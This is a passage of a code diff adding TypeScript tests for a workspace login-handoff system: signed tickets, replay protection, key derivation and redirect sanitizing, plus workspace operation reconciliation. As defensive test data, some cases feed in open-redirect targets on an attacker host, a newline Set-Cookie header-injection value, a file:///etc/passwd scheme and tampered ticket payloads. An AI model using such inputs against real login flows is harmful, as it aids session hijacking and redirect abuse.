+    const cwd = createWorkspaceCwd(INSTANCE_ID);
+    const result = await issueWorkspaceLoginHandoff({
+      db: stubDb({ runtimeRows: [] }),
+      companyId: COMPANY_ID,
+      executionWorkspace: { id: EXECUTION_WORKSPACE_ID, cwd },
+      actor: { userId: "user-1", userEmail: "operator@example.com", source: "session" },
+      probe: readyProbe(),
+    });
+    expect(result).toMatchObject({ ok: false, failure: { reason: "runtime_not_running" } });
+  });
+
+  it("refuses a runtime row whose URL is not an absolute http(s) origin", async () => {
+    const cwd = createWorkspaceCwd(INSTANCE_ID);
+    const result = await issueWorkspaceLoginHandoff({
+      db: stubDb({ runtimeRows: [{ id: "runtime-1", url: "not-a-url", updatedAt: new Date() }] }),
+      companyId: COMPANY_ID,
+      executionWorkspace: { id: EXECUTION_WORKSPACE_ID, cwd },
+      actor: { userId: "user-1", userEmail: "operator@example.com", source: "session" },
+      probe: readyProbe(),
+    });
+    expect(result).toMatchObject({ ok: false, failure: { reason: "runtime_url_unusable" } });
+  });
+
+  it("fails closed when the worktree instance identity cannot be resolved", async () => {
+    const result = await issueWorkspaceLoginHandoff({
+      db: stubDb({ runtimeRows: [{ id: "runtime-1", url: RUNTIME_URL, updatedAt: new Date() }] }),
+      companyId: COMPANY_ID,
+      executionWorkspace: { id: EXECUTION_WORKSPACE_ID, cwd: null },
+      actor: { userId: "user-1", userEmail: "operator@example.com", source: "session" },
+      probe: readyProbe(),
+    });
+    expect(result).toMatchObject({ ok: false, failure: { reason: "handoff_not_configured" } });
+  });
+
+  it("falls back to credentials when no signing secret is configured at all", async () => {
+    delete process.env.PAPERCLIP_WORKSPACE_HANDOFF_SECRET;
+    const previousAuthSecret = process.env.BETTER_AUTH_SECRET;
+    const previousJwtSecret = process.env.PAPERCLIP_AGENT_JWT_SECRET;
+    delete process.env.BETTER_AUTH_SECRET;
+    delete process.env.PAPERCLIP_AGENT_JWT_SECRET;
+    try {
+      const cwd = createWorkspaceCwd(INSTANCE_ID);
+      const result = await issueWorkspaceLoginHandoff({
+        db: stubDb({ runtimeRows: [{ id: "runtime-1", url: RUNTIME_URL, updatedAt: new Date() }] }),
+        companyId: COMPANY_ID,
+        executionWorkspace: { id: EXECUTION_WORKSPACE_ID, cwd },
+        actor: { userId: "user-1", userEmail: "operator@example.com", source: "session" },
+        probe: readyProbe(),
+      });
+      expect(result).toMatchObject({ ok: false, failure: { reason: "handoff_not_configured" } });
+    } finally {
+      if (previousAuthSecret !== undefined) process.env.BETTER_AUTH_SECRET = previousAuthSecret;
+      if (previousJwtSecret !== undefined) process.env.PAPERCLIP_AGENT_JWT_SECRET = previousJwtSecret;
+    }
+  });
+
+  it("refuses an actor with no resolvable board identity", async () => {
+    const cwd = createWorkspaceCwd(INSTANCE_ID);
+    const result = await issueWorkspaceLoginHandoff({
+      db: stubDb({ adminRows: [] }),
+      companyId: COMPANY_ID,
+      executionWorkspace: { id: EXECUTION_WORKSPACE_ID, cwd },
+      actor: { userId: null, userEmail: null, source: "session" },
+      probe: readyProbe(),
+    });
+    expect(result).toMatchObject({ ok: false, failure: { reason: "no_board_identity" } });
+  });
+
+  it("normalizes a landing target that tries to leave the workspace origin", async () => {
+    const cwd = createWorkspaceCwd(INSTANCE_ID);
+    const result = await issueWorkspaceLoginHandoff({
+      db: stubDb({ runtimeRows: [{ id: "runtime-1", url: RUNTIME_URL, updatedAt: new Date() }] }),
+      companyId: COMPANY_ID,
+      executionWorkspace: { id: EXECUTION_WORKSPACE_ID, cwd },
+      actor: { userId: "user-1", userEmail: "operator@example.com", source: "session" },
+      next: "https://attacker.example.com/steal",
+      probe: readyProbe(),
+    });
+    expect(result.ok).toBe(true);
+    if (!result.ok) return;
+    const identity = resolveManagedWorkspaceIdentity({
+      workspaceCwd: cwd,
+      executionWorkspaceId: EXECUTION_WORKSPACE_ID,
+      companyId: COMPANY_ID,
+    });
+    const verification = verifyWorkspaceHandoffTicket({
+      ticket: new URL(result.issuance.url).searchParams.get(WORKSPACE_HANDOFF_TICKET_QUERY_PARAM),
+      key: identity!.handoffKey,
+      expected: {
+        instanceId: INSTANCE_ID,
+        executionWorkspaceId: EXECUTION_WORKSPACE_ID,
+        companyId: COMPANY_ID,
+        origin: "https://workspace.example.ts.net:42013",
+      },
+    });
+    expect(verification.ok && verification.payload.next).toBe("/");
+  });
+});
+
+describe("resolveWorkspaceHandoffBoardIdentity", () => {
+  it("uses the caller's own session identity", async () => {
+    await expect(
+      resolveWorkspaceHandoffBoardIdentity(stubDb({}), {
+        userId: "user-9",
+        userEmail: "nine@example.com",
+        source: "session",
+      }),
+    ).resolves.toEqual({ userId: "user-9", email: "nine@example.com" });
+  });
+
+  it("stands in the instance admin for the implicit local-trusted actor", async () => {
+    await expect(
+      resolveWorkspaceHandoffBoardIdentity(
+        stubDb({ adminRows: [{ id: "admin-1", email: "admin@example.com", createdAt: new Date(0) }] }),
+        { userId: "local-board", userEmail: null, source: "local_implicit" },
+      ),
+    ).resolves.toEqual({ userId: "admin-1", email: "admin@example.com" });
+  });
+
+  it("returns null when a local-trusted instance has no instance admin", async () => {
+    await expect(
+      resolveWorkspaceHandoffBoardIdentity(stubDb({ adminRows: [] }), {
+        userId: "local-board",
+        userEmail: null,
+        source: "local_implicit",
+      }),
+    ).resolves.toBeNull();
+  });
+});
+
+describe("workspaceLoginHandoffFailureStatus", () => {
+  it("separates authorization, unsupported, and conflict outcomes", () => {
+    expect(workspaceLoginHandoffFailureStatus({ reason: "no_board_identity" })).toBe(403);
+    expect(workspaceLoginHandoffFailureStatus({ reason: "handoff_not_configured" })).toBe(501);
+    expect(workspaceLoginHandoffFailureStatus({ reason: "runtime_not_running" })).toBe(409);
+    expect(
+      workspaceLoginHandoffFailureStatus({ reason: "workspace_not_ready", detail: null, readiness: null }),
+    ).toBe(409);
+  });
+});
diff --git a/server/src/__tests__/workspace-login-handoff.test.ts b/server/src/__tests__/workspace-login-handoff.test.ts
new file mode 100644
index 00000000000..212a8be39e0
--- /dev/null
+++ b/server/src/__tests__/workspace-login-handoff.test.ts
@@ -0,0 +1,397 @@
+import { describe, expect, it, vi } from "vitest";
+import {
+  buildWorkspaceHandoffExchangeUrl,
+  deriveWorkspaceHandoffKey,
+  deriveWorkspaceReadinessToken,
+  issueWorkspaceHandoffTicket,
+  normalizeWorkspaceHandoffOrigin,
+  redactWorkspaceHandoffTicket,
+  resolveWorkspaceHandoffRootSecret,
+  sanitizeWorkspaceHandoffRedirectPath,
+  verifyWorkspaceHandoffTicket,
+  WORKSPACE_HANDOFF_TICKET_VERSION,
+} from "../auth/workspace-login-handoff.js";
+import {
+  exchangeWorkspaceHandoffTicket,
+  isWorkspaceHandoffRepairReason,
+  workspaceHandoffFailureStatus,
+  type WorkspaceHandoffExchangeDeps,
+} from "../auth/workspace-login-handoff-exchange.js";
+
+const ROOT_SECRET = "root-secret-for-tests";
+const INSTANCE_ID = "pap-17572-workspace-abc123def456";
+const EXECUTION_WORKSPACE_ID = "ews-1111-2222";
+const COMPANY_ID = "company-1111";
+const ORIGIN = "https://workspace.example.ts.net:42013";
+const USER_ID = "user-1";
+const USER_EMAIL = "Operator@Example.com";
+
+const KEY = deriveWorkspaceHandoffKey({
+  rootSecret: ROOT_SECRET,
+  instanceId: INSTANCE_ID,
+  executionWorkspaceId: EXECUTION_WORKSPACE_ID,
+});
+
+const EXPECTED = {
+  instanceId: INSTANCE_ID,
+  executionWorkspaceId: EXECUTION_WORKSPACE_ID,
+  companyId: COMPANY_ID,
+  origin: ORIGIN,
+};
+
+function mintTicket(overrides: Partial<Parameters<typeof issueWorkspaceHandoffTicket>[0]> = {}) {
+  return issueWorkspaceHandoffTicket({
+    key: KEY,
+    userId: USER_ID,
+    email: USER_EMAIL,
+    executionWorkspaceId: EXECUTION_WORKSPACE_ID,
+    companyId: COMPANY_ID,
+    instanceId: INSTANCE_ID,
+    origin: ORIGIN,
+    issuerInstanceId: "primary",
+    ...overrides,
+  });
+}
+
+function exchangeDeps(overrides: Partial<WorkspaceHandoffExchangeDeps> = {}) {
+  const reserved = new Set<string>();
+  return {
+    findClonedIdentity: vi.fn(async ({ userId }: { userId: string; companyId: string }) =>
+      userId === USER_ID
+        ? { userId, email: USER_EMAIL, hasActiveMembership: true }
+        : null,
+    ),
+    reserveNonce: vi.fn(async ({ nonce }: { nonce: string }) => {
+      if (reserved.has(nonce)) return false;
+      reserved.add(nonce);
+      return true;
+    }),
+    createSession: vi.fn(async () => undefined),
+    ...overrides,
+  } satisfies WorkspaceHandoffExchangeDeps;
+}
+
+describe("workspace handoff key derivation", () => {
+  it("derives a distinct key per instance and per workspace", () => {
+    const otherWorkspace = deriveWorkspaceHandoffKey({
+      rootSecret: ROOT_SECRET,
+      instanceId: INSTANCE_ID,
+      executionWorkspaceId: "ews-other",
+    });
+    const otherInstance = deriveWorkspaceHandoffKey({
+      rootSecret: ROOT_SECRET,
+      instanceId: "other-instance",
+      executionWorkspaceId: EXECUTION_WORKSPACE_ID,
+    });
+    expect(KEY).not.toBe(otherWorkspace);
+    expect(KEY).not.toBe(otherInstance);
+    expect(KEY).not.toContain(ROOT_SECRET);
+  });
+
+  it("keeps the readiness probe token separate from the signing key", () => {
+    const token = deriveWorkspaceReadinessToken({
+      rootSecret: ROOT_SECRET,
+      instanceId: INSTANCE_ID,
+      executionWorkspaceId: EXECUTION_WORKSPACE_ID,
+    });
+    expect(token).not.toBe(KEY);
+  });
+
+  it("prefers a dedicated secret and otherwise derives one that is not the auth secret", () => {
+    expect(
+      resolveWorkspaceHandoffRootSecret({ PAPERCLIP_WORKSPACE_HANDOFF_SECRET: "dedicated" }),
+    ).toEqual({ secret: "dedicated", source: "dedicated" });
+
+    const derived = resolveWorkspaceHandoffRootSecret({ BETTER_AUTH_SECRET: "auth-secret" });
+    expect(derived?.source).toBe("derived");
+    expect(derived?.secret).not.toBe("auth-secret");
+
+    expect(resolveWorkspaceHandoffRootSecret({})).toBeNull();
+  });
+});
+
+describe("verifyWorkspaceHandoffTicket", () => {
+  it("accepts a ticket bound to this workspace", () => {
+    const { ticket, payload } = mintTicket({ next: "/PAP/issues/PAP-1" });
+    const result = verifyWorkspaceHandoffTicket({ ticket, key: KEY, expected: EXPECTED });
+    expect(result).toEqual({ ok: true, payload });
+  });
+
+  it("rejects a ticket signed with another workspace's key", () => {
+    const foreignKey = deriveWorkspaceHandoffKey({
+      rootSecret: ROOT_SECRET,
+      instanceId: INSTANCE_ID,
+      executionWorkspaceId: "ews-other",
+    });
+    const { ticket } = mintTicket({ key: foreignKey });
+    expect(verifyWorkspaceHandoffTicket({ ticket, key: KEY, expected: EXPECTED })).toEqual({
+      ok: false,
+      reason: "bad_signature",
+    });
+  });
+
+  it("rejects a ticket minted for another origin, workspace, or instance", () => {
+    const wrongOrigin = mintTicket({ origin: "https://other.example.ts.net:42099" });
+    expect(verifyWorkspaceHandoffTicket({ ticket: wrongOrigin.ticket, key: KEY, expected: EXPECTED }).ok).toBe(false);
+    expect(
+      verifyWorkspaceHandoffTicket({ ticket: wrongOrigin.ticket, key: KEY, expected: EXPECTED }),
+    ).toEqual({ ok: false, reason: "origin_mismatch" });
+
+    // A ticket for a sibling workspace on the same host cannot be re-signed with
+    // this workspace's key, so bind-mismatch is proven with a matching key.
+    const siblingWorkspaceKey = KEY;
+    const wrongWorkspace = issueWorkspaceHandoffTicket({
+      key: siblingWorkspaceKey,
+      userId: USER_ID,
+      email: USER_EMAIL,
+      executionWorkspaceId: "ews-sibling",
+      companyId: COMPANY_ID,
+      instanceId: INSTANCE_ID,
+      origin: ORIGIN,
+      issuerInstanceId: "primary",
+    });
+    expect(verifyWorkspaceHandoffTicket({ ticket: wrongWorkspace.ticket, key: KEY, expected: EXPECTED })).toEqual({
+      ok: false,
+      reason: "workspace_mismatch",
+    });
+
+    const wrongInstance = issueWorkspaceHandoffTicket({
+      key: KEY,
+      userId: USER_ID,
+      email: USER_EMAIL,
+      executionWorkspaceId: EXECUTION_WORKSPACE_ID,
+      companyId: COMPANY_ID,
+      instanceId: "some-other-instance",
+      origin: ORIGIN,
+      issuerInstanceId: "primary",
+    });
+    expect(verifyWorkspaceHandoffTicket({ ticket: wrongInstance.ticket, key: KEY, expected: EXPECTED })).toEqual({
+      ok: false,
+      reason: "instance_mismatch",
+    });
+  });
+
+  it("rejects a ticket minted for another company on the same workspace", () => {
+    // The signing key is per workspace, so a same-host sibling company shares it —
+    // which is exactly why the company has to be bound and compared.
+    const { ticket } = mintTicket({ companyId: "company-other" });
+    expect(verifyWorkspaceHandoffTicket({ ticket, key: KEY, expected: EXPECTED })).toEqual({
+      ok: false,
+      reason: "company_mismatch",
+    });
+  });
+
+  it("rejects an expired ticket and one issued in the future", () => {
+    const now = new Date("2026-08-19T00:00:00.000Z");
+    const { ticket } = mintTicket({ now, ttlSeconds: 30 });
+    expect(
+      verifyWorkspaceHandoffTicket({
+        ticket,
+        key: KEY,
+        expected: EXPECTED,
+        now: new Date(now.getTime() + 121_000),
+      }),
+    ).toEqual({ ok: false, reason: "expired" });
+
+    expect(
+      verifyWorkspaceHandoffTicket({
+        ticket,
+        key: KEY,
+        expected: EXPECTED,
+        now: new Date(now.getTime() - 120_000),
+      }),
+    ).toEqual({ ok: false, reason: "not_yet_valid" });
+  });
+
+  it("fails closed when local identity cannot be resolved", () => {
+    const { ticket } = mintTicket();
+    expect(
+      verifyWorkspaceHandoffTicket({ ticket, key: KEY, expected: { ...EXPECTED, origin: null } }),
+    ).toEqual({ ok: false, reason: "origin_mismatch" });
+    expect(
+      verifyWorkspaceHandoffTicket({ ticket, key: KEY, expected: { ...EXPECTED, instanceId: null } }),
+    ).toEqual({ ok: false, reason: "instance_mismatch" });
+    expect(
+      verifyWorkspaceHandoffTicket({ ticket, key: KEY, expected: { ...EXPECTED, executionWorkspaceId: null } }),
+    ).toEqual({ ok: false, reason: "workspace_mismatch" });
+    expect(
+      verifyWorkspaceHandoffTicket({ ticket, key: KEY, expected: { ...EXPECTED, companyId: null } }),
+    ).toEqual({ ok: false, reason: "company_mismatch" });
+    expect(verifyWorkspaceHandoffTicket({ ticket, key: "", expected: EXPECTED })).toEqual({
+      ok: false,
+      reason: "not_configured",
+    });
+  });
+
+  it("rejects malformed, truncated, and re-versioned tickets", () => {
+    const { ticket } = mintTicket();
+    const [version, payload, signature] = ticket.split(".");
+    expect(verifyWorkspaceHandoffTicket({ ticket: "", key: KEY, expected: EXPECTED }).ok).toBe(false);
+    expect(verifyWorkspaceHandoffTicket({ ticket: `${version}.${payload}`, key: KEY, expected: EXPECTED })).toEqual({
+      ok: false,
+      reason: "malformed",
+    });
+    expect(
+      verifyWorkspaceHandoffTicket({ ticket: `wh0.${payload}.${signature}`, key: KEY, expected: EXPECTED }),
+    ).toEqual({ ok: false, reason: "unsupported_version" });
+    expect(
+      verifyWorkspaceHandoffTicket({ ticket: `${version}.${payload}.not+base64url`, key: KEY, expected: EXPECTED }),
+    ).toEqual({ ok: false, reason: "malformed" });
+    // Payload tampering has to fail on the signature, never on JSON parsing.
+    const tampered = Buffer.from(
+      JSON.stringify({ ...JSON.parse(Buffer.from(payload!, "base64url").toString()), sub: "attacker" }),
+    ).toString("base64url");
+    expect(
+      verifyWorkspaceHandoffTicket({ ticket: `${version}.${tampered}.${signature}`, key: KEY, expected: EXPECTED }),
+    ).toEqual({ ok: false, reason: "bad_signature" });
+  });
+
+  it("uses the declared envelope version", () => {
+    expect(mintTicket().ticket.startsWith(`${WORKSPACE_HANDOFF_TICKET_VERSION}.`)).toBe(true);
+  });
+});
+
+describe("exchangeWorkspaceHandoffTicket", () => {
+  it("creates exactly one session for a valid ticket", async () => {
+    const { ticket } = mintTicket({ next: "/PAP/issues/PAP-2" });
+    const deps = exchangeDeps();
+    const result = await exchangeWorkspaceHandoffTicket({ ticket, key: KEY, expected: EXPECTED, deps });
+    expect(result.ok).toBe(true);
+    expect(result.ok && result.redirectTo).toBe("/PAP/issues/PAP-2");
+    expect(deps.createSession).toHaveBeenCalledTimes(1);
+    expect(deps.createSession).toHaveBeenCalledWith(USER_ID);
+  });
+
+  it("rejects a replayed ticket without creating a second session", async () => {
+    const { ticket } = mintTicket();
+    const deps = exchangeDeps();
+    expect((await exchangeWorkspaceHandoffTicket({ ticket, key: KEY, expected: EXPECTED, deps })).ok).toBe(true);
+    const replay = await exchangeWorkspaceHandoffTicket({ ticket, key: KEY, expected: EXPECTED, deps });
+    expect(replay).toEqual({ ok: false, reason: "replayed", payload: expect.objectContaining({ sub: USER_ID }) });
+    expect(deps.createSession).toHaveBeenCalledTimes(1);
+  });
+
+  it("asks for membership in the ticket's company, not any membership", async () => {
+    const { ticket } = mintTicket();
+    const deps = exchangeDeps();
+    expect((await exchangeWorkspaceHandoffTicket({ ticket, key: KEY, expected: EXPECTED, deps })).ok).toBe(true);
+    expect(deps.findClonedIdentity).toHaveBeenCalledWith({ userId: USER_ID, companyId: COMPANY_ID });
+  });
+
+  it("reports a missing cloned user and a missing membership distinctly", async () => {
+    const { ticket } = mintTicket();
+    const missingUser = exchangeDeps({ findClonedIdentity: vi.fn(async () => null) });
+    expect(
+      (await exchangeWorkspaceHandoffTicket({ ticket, key: KEY, expected: EXPECTED, deps: missingUser })),
+    ).toMatchObject({ ok: false, reason: "unknown_user" });
+    expect(missingUser.createSession).not.toHaveBeenCalled();
+
+    const noMembership = exchangeDeps({
+      findClonedIdentity: vi.fn(async () => ({ userId: USER_ID, email: USER_EMAIL, hasActiveMembership: false })),
+    });
+    expect(
+      (await exchangeWorkspaceHandoffTicket({ ticket, key: KEY, expected: EXPECTED, deps: noMembership })),
+    ).toMatchObject({ ok: false, reason: "missing_membership" });
+    expect(noMembership.reserveNonce).not.toHaveBeenCalled();
+    expect(noMembership.createSession).not.toHaveBeenCalled();
+  });
+
+  it("rejects a clone whose user id was reused for a different email", async () => {
+    const { ticket } = mintTicket();
+    const deps = exchangeDeps({
+      findClonedIdentity: vi.fn(async () => ({
+        userId: USER_ID,
+        email: "someone-else@example.com",
+        hasActiveMembership: true,
+      })),
+    });
+    expect(
+      await exchangeWorkspaceHandoffTicket({ ticket, key: KEY, expected: EXPECTED, deps }),
+    ).toMatchObject({ ok: false, reason: "user_mismatch" });
+    expect(deps.createSession).not.toHaveBeenCalled();
+  });
+
+  it("matches the cloned email case-insensitively", async () => {
+    const { ticket } = mintTicket();
+    const deps = exchangeDeps({
+      findClonedIdentity: vi.fn(async () => ({
+        userId: USER_ID,
+        email: USER_EMAIL.toUpperCase(),
+        hasActiveMembership: true,
+      })),
+    });
+    expect((await exchangeWorkspaceHandoffTicket({ ticket, key: KEY, expected: EXPECTED, deps })).ok).toBe(true);
+  });
+
+  it("burns the nonce when session creation fails so a captured ticket cannot be retried", async () => {
+    const { ticket } = mintTicket();
+    const deps = exchangeDeps({
+      createSession: vi.fn(async () => {
+        throw new Error("session store unavailable");
+      }),
+    });
+    expect(
+      await exchangeWorkspaceHandoffTicket({ ticket, key: KEY, expected: EXPECTED, deps }),
+    ).toMatchObject({ ok: false, reason: "session_failed" });
+    expect(deps.reserveNonce).toHaveBeenCalledTimes(1);
+  });
+
+  it("never consults request headers: identity comes only from `expected`", async () => {
+    // A ticket minted for the spoofed host fails against the configured origin,
+    // which is the whole forwarded-header defense.
+    const spoofed = mintTicket({ origin: "https://attacker.example.com" });
+    expect(
+      await exchangeWorkspaceHandoffTicket({
+        ticket: spoofed.ticket,
+        key: KEY,
+        expected: EXPECTED,
+        deps: exchangeDeps(),
+      }),
+    ).toEqual({ ok: false, reason: "origin_mismatch", payload: null });
+  });
+
+  it("maps failures onto stable statuses that do not leak which check failed", () => {
+    expect(workspaceHandoffFailureStatus("not_configured")).toBe(503);
+    expect(workspaceHandoffFailureStatus("session_failed")).toBe(500);
+    for (const reason of ["expired", "replayed", "origin_mismatch", "workspace_mismatch", "company_mismatch", "unknown_user"] as const) {
+      expect(workspaceHandoffFailureStatus(reason)).toBe(401);
+    }
+    expect(isWorkspaceHandoffRepairReason("missing_membership")).toBe(true);
+    expect(isWorkspaceHandoffRepairReason("expired")).toBe(false);
+  });
+});
+
+describe("handoff URL handling", () => {
+  it("reduces a landing target to a same-origin path", () => {
+    expect(sanitizeWorkspaceHandoffRedirectPath("/PAP/issues/PAP-1")).toBe("/PAP/issues/PAP-1");
+    expect(sanitizeWorkspaceHandoffRedirectPath("https://attacker.example.com/")).toBe("/");
+    expect(sanitizeWorkspaceHandoffRedirectPath("//attacker.example.com")).toBe("/");
+    expect(sanitizeWorkspaceHandoffRedirectPath("/\\attacker.example.com")).toBe("/");
+    expect(sanitizeWorkspaceHandoffRedirectPath("/ok\nSet-Cookie: x=1")).toBe("/");
+    expect(sanitizeWorkspaceHandoffRedirectPath(undefined)).toBe("/");
+  });
+
+  it("normalizes origins and refuses non-http schemes", () => {
+    expect(normalizeWorkspaceHandoffOrigin("https://host:443/path")).toBe("https://host");
+    expect(normalizeWorkspaceHandoffOrigin("http://host:42013/x")).toBe("http://host:42013");
+    expect(normalizeWorkspaceHandoffOrigin("file:///etc/passwd")).toBeNull();
+    expect(normalizeWorkspaceHandoffOrigin("not a url")).toBeNull();
+  });
+
+  it("builds an exchange URL on the bound origin", () => {
+    const { ticket } = mintTicket();
+    const url = new URL(buildWorkspaceHandoffExchangeUrl({ origin: ORIGIN, ticket }));
+    expect(url.origin).toBe(ORIGIN);
+    expect(url.pathname).toBe("/api/auth/workspace-handoff/exchange");
+    expect(url.searchParams.get("ticket")).toBe(ticket);
+  });
+
+  it("redacts the ticket from anything log-shaped", () => {
+    const { ticket } = mintTicket();
+    const line = `GET /api/auth/workspace-handoff/exchange?ticket=${ticket}&next=%2F 302`;
+    const redacted = redactWorkspaceHandoffTicket(line);
+    expect(redacted).not.toContain(ticket);
+    expect(redacted).toContain("ticket=[redacted]");
+    expect(redacted).toContain("next=%2F");
+  });
+});
diff --git a/server/src/__tests__/workspace-operations-reconciliation.test.ts b/server/src/__tests__/workspace-operations-reconciliation.test.ts
new file mode 100644
index 00000000000..9133fbae0e6
--- /dev/null
+++ b/server/src/__tests__/workspace-operations-reconciliation.test.ts
@@ -0,0 +1,274 @@
+import { randomUUID } from "node:crypto";
+import fs from "node:fs/promises";
+import os from "node:os";
+import path from "node:path";
+import { afterAll, afterEach, beforeAll, describe, expect, it } from "vitest";
+import {
+  companies,
+  createDb,
+  executionWorkspaces,
+  projects,
+  workspaceOperations,
+} from "@paperclipai/db";
+import { eq } from "drizzle-orm";
+import { getWorkspaceOperationLogStore } from "../services/workspace-operation-log-store.js";
+import {
+  RUNTIME_CONTROL_STALE_AFTER_MS,
+  resetWorkspaceRuntimeControlLocksForTests,
+  runExclusiveWorkspaceRuntimeControl,
+  workspaceOperationService,
+} from "../services/workspace-operations.js";
+import {
+  getEmbeddedPostgresTestSupport,
+  startEmbeddedPostgresTestDatabase,
+} from "./helpers/embedded-postgres.js";
+
+describe("workspace runtime control serialization", () => {
+  afterEach(() => {
+    resetWorkspaceRuntimeControlLocksForTests();
+  });
+
+  it("deterministically rejects an overlapping control operation and releases the claim", async () => {
+    let releaseFirst!: () => void;
+    const firstGate = new Promise<void>((resolve) => {
+      releaseFirst = resolve;
+    });
+    const first = runExclusiveWorkspaceRuntimeControl({
+      executionWorkspaceId: "workspace-1",
+      action: "start",
+      run: async () => {
+        await firstGate;
+        return "started";
+      },
+    });
+
+    await expect(runExclusiveWorkspaceRuntimeControl({
+      executionWorkspaceId: "workspace-1",
+      action: "repair",
+      run: async () => "repaired",
+    })).rejects.toMatchObject({
+      status: 409,
+      details: {
+        code: "workspace_runtime_control_in_progress",
+        activeAction: "start",
+        requestedAction: "repair",
+      },
+    });
+
+    releaseFirst();
+    await expect(first).resolves.toBe("started");
+    await expect(runExclusiveWorkspaceRuntimeControl({
+      executionWorkspaceId: "workspace-1",
+      action: "stop",
+      run: async () => "stopped",
+    })).resolves.toBe("stopped");
+  });
+});
+
+const embeddedPostgresSupport = await getEmbeddedPostgresTestSupport();
+const describeEmbeddedPostgres = embeddedPostgresSupport.supported ? describe : describe.skip;
+
+if (!embeddedPostgresSupport.supported) {
+  console.warn(
+    `Skipping workspace-operation reconciliation tests on this host: ${embeddedPostgresSupport.reason ?? "unsupported environment"}`,
+  );
+}
+
+describeEmbeddedPostgres("workspace operation reconciliation", () => {
+  let db!: ReturnType<typeof createDb>;
+  let tempDb: Awaited<ReturnType<typeof startEmbeddedPostgresTestDatabase>> | null = null;
+  let logRoot = "";
+  let previousLogRoot: string | undefined;
+
+  beforeAll(async () => {
+    tempDb = await startEmbeddedPostgresTestDatabase("paperclip-workspace-operation-reconcile-");
+    db = createDb(tempDb.connectionString);
+    logRoot = await fs.mkdtemp(path.join(os.tmpdir(), "paperclip-workspace-operation-logs-"));
+    previousLogRoot = process.env.WORKSPACE_OPERATION_LOG_BASE_PATH;
+    process.env.WORKSPACE_OPERATION_LOG_BASE_PATH = logRoot;
+  }, 20_000);
+
+  afterEach(async () => {
+    await db.delete(workspaceOperations);
+    await db.delete(executionWorkspaces);
+    await db.delete(projects);
+    await db.delete(companies);
+  });
+
+  afterAll(async () => {
+    if (previousLogRoot === undefined) delete process.env.WORKSPACE_OPERATION_LOG_BASE_PATH;
+    else process.env.WORKSPACE_OPERATION_LOG_BASE_PATH = previousLogRoot;
+    await fs.rm(logRoot, { recursive: true, force: true });
+    await tempDb?.cleanup();
+  });
+
+  it("terminalizes an orphaned runtime start with an inspectable reconciliation log", async () => {
+    const companyId = randomUUID();
+    const projectId = randomUUID();
+    const executionWorkspaceId = randomUUID();
+    const staleOperationId = randomUUID();
+    const unrelatedOperationId = randomUUID();
+
+    await db.insert(companies).values({
+      id: companyId,
+      name: "Workspace operation reconciliation",
+      issuePrefix: `W${companyId.replace(/-/g, "").slice(0, 7).toUpperCase()}`,
+      requireBoardApprovalForNewAgents: false,
+    });
+    await db.insert(projects).values({
+      id: projectId,
+      companyId,
+      name: "Runtime reconciliation",
+      status: "in_progress",
+    });
+    await db.insert(executionWorkspaces).values({
+      id: executionWorkspaceId,
+      companyId,
+      projectId,
+      mode: "isolated_workspace",
+      strategyType: "git_worktree",
+      name: "Reconciliation workspace",
+      status: "active",
+      cwd: "/tmp/reconciliation-workspace",
+    });
+
+    const logHandle = await getWorkspaceOperationLogStore().begin({
+      companyId,
+      operationId: staleOperationId,
+    });
+    await db.insert(workspaceOperations).values([
+      {
+        id: staleOperationId,
+        companyId,
+        executionWorkspaceId,
+        phase: "workspace_provision",
+        command: "workspace command start",
+        cwd: "/tmp/reconciliation-workspace",
+        status: "running",
+        logStore: logHandle.store,
+        logRef: logHandle.logRef,
+        metadata: { action: "start", executionWorkspaceId },
+      },
+      {
+        id: unrelatedOperationId,
+        companyId,
+        executionWorkspaceId,
+        phase: "workspace_provision",
+        command: "bash ./scripts/provision-worktree.sh",
+        cwd: "/tmp/reconciliation-workspace",
+        status: "running",
+        metadata: { created: true },
+      },
+    ]);
+
+    const service = workspaceOperationService(db);
+
+    // Recovery is bounded and cannot steal a live operation (PAP-17249): a `running` control
+    // that has signalled recently is left alone even when it carries no ownership stamp, which
+    // is the shape a control recorded by a pre-stamp build has.
+    await expect(service.reconcileStaleRuntimeControlOperations(executionWorkspaceId)).resolves.toEqual({
+      reconciled: 0,
+      operationIds: [],
+    });
+    expect((await service.getById(staleOperationId))?.status).toBe("running");
+
+    // Once it has gone quiet for longer than the staleness window, it is terminalized.
+    await expect(
+      service.reconcileStaleRuntimeControlOperations(executionWorkspaceId, {
+        now: new Date(Date.now() + RUNTIME_CONTROL_STALE_AFTER_MS + 5_000),
+      }),
+    ).resolves.toEqual({
+      reconciled: 1,
+      operationIds: [staleOperationId],
+    });
+
+    const stale = await service.getById(staleOperationId);
+    expect(stale).toMatchObject({
+      status: "failed",
+      metadata: {
+        action: "start",
+        reconciled: true,
+        reconciliationReason: "orphaned_runtime_control",
+      },
+    });
+    expect(stale?.finishedAt).toBeInstanceOf(Date);
+    expect(stale?.stderrExcerpt).toContain("no live owner has reported progress");
+    expect((await service.readLog(staleOperationId)).content).toContain(
+      "no live owner has reported progress",
+    );
+
+    const unrelated = await db
+      .select({ status: workspaceOperations.status })
+      .from(workspaceOperations)
+      .where(eq(workspaceOperations.id, unrelatedOperationId))
+      .then((rows) => rows[0]);
+    expect(unrelated?.status).toBe("running");
+  });
+
+  it("persists bounded repair phase progress on the operation row and log", async () => {
+    const companyId = randomUUID();
+    const projectId = randomUUID();
+    const executionWorkspaceId = randomUUID();
+    await db.insert(companies).values({
+      id: companyId,
+      name: "Workspace repair diagnostics",
+      issuePrefix: `R${companyId.replace(/-/g, "").slice(0, 7).toUpperCase()}`,
+      requireBoardApprovalForNewAgents: false,
+    });
+    await db.insert(projects).values({
+      id: projectId,
+      companyId,
+      name: "Repair diagnostics",
+      status: "in_progress",
+    });
+    await db.insert(executionWorkspaces).values({
+      id: executionWorkspaceId,
+      companyId,
+      projectId,
+      mode: "isolated_workspace",
+      strategyType: "git_worktree",
+      name: "Repair diagnostics workspace",
+      status: "active",
+      cwd: "/tmp/repair-diagnostics-workspace",
+    });
+
+    const operation = await workspaceOperationService(db)
+      .createRecorder({ companyId, executionWorkspaceId })
+      .recordOperation({
+        phase: "workspace_repair",
+        command: "workspace command repair",
+        cwd: "/tmp/repair-diagnostics-workspace",
+        metadata: { action: "repair" },
+        run: async (reportProgress) => {
+          await reportProgress({
+            metadata: {
+              repairPhase: "target_backup",
+              repairDiagnostics: [{
+                phase: "target_backup",
+                status: "succeeded",
+                at: "2026-08-18T00:00:00.000Z",
+              }],
+              databaseOnly: true,
+              worktreePreserved: true,
+            },
+            system: "Workspace repair target_backup: succeeded.\n",
+          });
